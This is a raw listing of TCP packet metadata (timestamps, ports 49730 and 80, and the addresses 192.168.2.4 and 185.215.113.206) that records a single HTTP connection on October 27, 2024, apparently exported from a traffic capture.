Oct 27, 2024 12:13:25.286695957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.286722898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.286748886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.286765099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.286775112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.286822081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.286823034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.286856890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.286880016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.286906958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.286911964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.286940098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.286968946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.286976099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.287009954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.287020922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.287029028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.287062883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.287096024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.287111044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.287126064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.287148952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.287174940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.287174940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.287220001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.287225008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.287259102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.287267923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.287301064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.287394047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.287435055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.287468910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.287481070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.287513971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.287518024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.287552118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.287564993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.287585974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.287590981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.287621975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.287631035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.287655115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.287662029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.287688971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.287699938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.287729025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.287740946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.287777901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.287806988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.287828922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.287839890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.287873983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.287875891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.287895918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.287908077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.287911892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.287941933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.287954092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.287976027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.287986040 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.288011074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.288019896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.288041115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.288053036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.288074017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.288084984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.288110018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.288117886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.288147926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.288156033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.288202047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.288207054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.288240910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.288253069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.288275003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.288276911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.288309097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.288322926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.288350105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.288360119 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.288419962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.288467884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.288470984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.288506031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.288521051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.288538933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.288546085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.288573980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.288588047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.288625956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.288625956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.288635015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.288667917 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.288671970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.288677931 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.288723946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.288732052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.288757086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.288768053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.288790941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.288809061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.288825035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.288836956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.288858891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.288867950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.288893938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.288898945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.288928032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.288957119 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.288963079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.288966894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.288999081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.374794006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.374859095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.375535965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.375588894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.403546095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.403599977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.403635025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.403685093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.403701067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.403719902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.403749943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.403753042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.403776884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.403779984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.403803110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.403803110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.403815031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.403821945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.403836966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.403840065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.403853893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.403856039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.403868914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.403872013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.403886080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.403894901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.403899908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.403908968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.403918982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.403927088 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.403942108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.403961897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.403964996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.403976917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.403991938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.404006958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.404021978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.404028893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.404047966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.404067993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.404134989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.404175043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.404191017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.404215097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.404220104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.404246092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.404274940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.404274940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.404293060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.404316902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.404316902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.404330969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.404335022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.404356003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.404375076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.404413939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.404455900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.404475927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.404506922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.404522896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.404524088 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.404565096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.404607058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.404623032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.404645920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.404654980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.404678106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.404694080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.404714108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.404730082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.404743910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.404762983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.404767990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.404778004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.404793978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.404803038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.404815912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.404849052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.404941082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.404957056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.404970884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.404980898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.404999018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.405020952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.405059099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.405073881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.405088902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.405118942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.405118942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.405138969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.405226946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.405244112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.405257940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.405267000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.405275106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.405282974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.405291080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.405297995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.405324936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.405337095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.405364990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.405380964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.405395031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.405401945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.405420065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.405421972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.405436993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.405441999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.405452967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.405457020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.405469894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.405472994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.405487061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.405489922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.405507088 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.405531883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.405734062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.405756950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.405771971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.405787945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.405797005 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.405803919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.405819893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.405828953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.405836105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.405847073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.405852079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.405867100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.405877113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.405909061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.406052113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.406066895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.406080961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.406097889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.406131029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.406771898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.406788111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.406801939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.406812906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.406851053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.520605087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.520615101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.520631075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.520684958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.520729065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.520737886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.520752907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.520760059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.520777941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.520785093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.520812035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.520911932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.520920992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.520936012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.520942926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.520950079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.521081924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.521090031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.521096945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.521105051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.521114111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.521131992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.521159887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.521253109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.521260977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.521276951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.521284103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.521289110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.521306038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.521384001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.521393061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.521408081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.521420002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.521441936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.521500111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.521507978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.521523952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.521533966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.521559000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.521584988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.521594048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.521620035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.522478104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.522636890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.522669077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.522676945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.522703886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.522737026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.522806883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.522845984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.522871017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.522888899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.522891045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.522912979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.522948980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.523015976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.523032904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.523066044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.523082972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.523089886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.523101091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.523116112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.523119926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.523128033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.523140907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.523149967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.523159027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.523175001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.523179054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.523183107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.523201942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.523349047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.523366928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.523397923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.523494005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.523542881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.523562908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.523578882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.523597956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.523605108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.523638964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.523657084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.523667097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.523674965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.523693085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.523710012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:25.523715973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:25.523726940 CET	80	49730	185.215.113.206	192.168.2.4
